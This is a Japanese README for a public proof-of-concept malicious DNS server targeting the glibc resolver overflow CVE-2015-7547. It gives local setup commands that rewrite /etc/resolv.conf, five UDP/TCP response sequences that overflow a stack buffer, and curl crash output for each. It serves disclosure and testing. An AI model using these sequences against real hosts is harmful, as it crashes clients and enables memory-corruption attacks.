
glibc DNSスタブリゾルバのバッファオーバーフローの脆弱性(CVE-2015-7547)に対するPoC攻撃サーバ(公開版)
脆弱なglibcバージョンを使用してローカルマシンでテストするには:
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
その後、別のターミナルセッションから、以下の例に示すように攻撃を実行します。
UDPおよびTCPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、>2048バイト、有効なヘッダ/質問、TCフラグセット(バッファ管理の誤りとTCP再試行を引き起こす)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)
例:
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、>2048バイト、無効なヘッダ(バッファ管理の誤りを引き起こすが、有効な応答としてカウントされない)
次のリクエストを無視する(ポーリングタイムアウトによりUDP再試行を引き起こす)
UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
UDP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)
例:
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで1024バイトを超え、TCPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、1024バイト、有効なヘッダ/質問(スタック割り当てバッファの半分を埋める)
UDP応答、>1024バイト、有効なヘッダ/質問、TCフラグセット(バッファ管理の誤りとTCP再試行を引き起こす)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)
例:
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、2048バイト、有効なヘッダ/質問(スタック割り当てバッファを埋める)
UDP応答(0バイトのソケット受信により、バッファ管理の誤りとUDP再試行を引き起こす)
UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
UDP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)
例:
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
TCPで2048バイトを超える応答を送信でき、かつ/etc/resolv.confに少なくとも2つのネームサーバエントリが必要です。
攻撃シーケンス:
UDP応答、有効なヘッダ/質問、TCフラグセット(オプション。初期クエリがUDPの場合、TCP再試行を引き起こす)
TCP応答、>2048バイト(バッファ管理の誤りを引き起こす)
TCP応答、空(0バイトのソケット受信によりTCP再試行を引き起こす)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)
例:
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
サーバから特定のサイズの有効なタイプA/AAAA応答をトリガーするには、次のいずれかのリクエストを送信します。
リクエストはUDPまたはTCPで発行でき、応答には適切な数の有効なAまたはAAAA回答が含まれ、応答が要求されたサイズになるようにパディングされます。PoCサーバがテストドメインの権威ネームサーバとして設定されている場合、これにより、過大な応答に直面したときのDNSキャッシュ階層の動作を調査できます。
例:
user@localhost:/$ curl http://payload1.somedomain.com